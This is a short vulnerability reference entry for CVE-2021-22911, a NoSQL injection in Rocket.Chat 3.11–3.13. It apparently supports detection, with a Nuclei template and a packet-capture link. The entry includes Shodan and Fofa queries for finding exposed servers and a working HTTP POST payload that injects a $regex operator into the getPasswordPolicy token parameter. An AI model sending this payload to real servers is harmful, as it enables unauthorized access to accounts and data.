| Title | Rocket.Chat <=3.13 - NoSQL Injection |
|---|---|
| Author | tess,sullo |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary NoSQL queries, leading to unauthorized access, data manipulation, or denial of service. |
| Remediation | Upgrade Rocket.Chat to a version higher than 3.13 or apply the provided patch to mitigate the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92086 |
| CVE ID | CVE-2021-22911 |
| CWE ID | CWE-75,NVD-CWE-Other |
| Shodan Query | http.title:"Rocket.Chat"http.title:"rocket.chat" |
| Fofa Query | title="rocket.chat" |
| Tags | cve2021 cve rocketchat nosqli packetstorm vulhub hackerone rocket.chat sqli vkev vuln |
Rocket.Chat 3.11, 3.12 and 3.13 contains a NoSQL injection vulnerability which allows unauthenticated access to an API endpoint. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12
Connection: close
Content-Length: 146
Content-Type: application/json
Accept-Encoding: gzip
{"message": "{\"msg\":\"method\", \"method\": \"getPasswordPolicy\", \"params\": [{\"token\": {\"$regex\": \"^38FFuM2wjQtOlpXRGYlGx0IUdbJ\"}}] }"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22911.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-22911.pcap
N/AN/A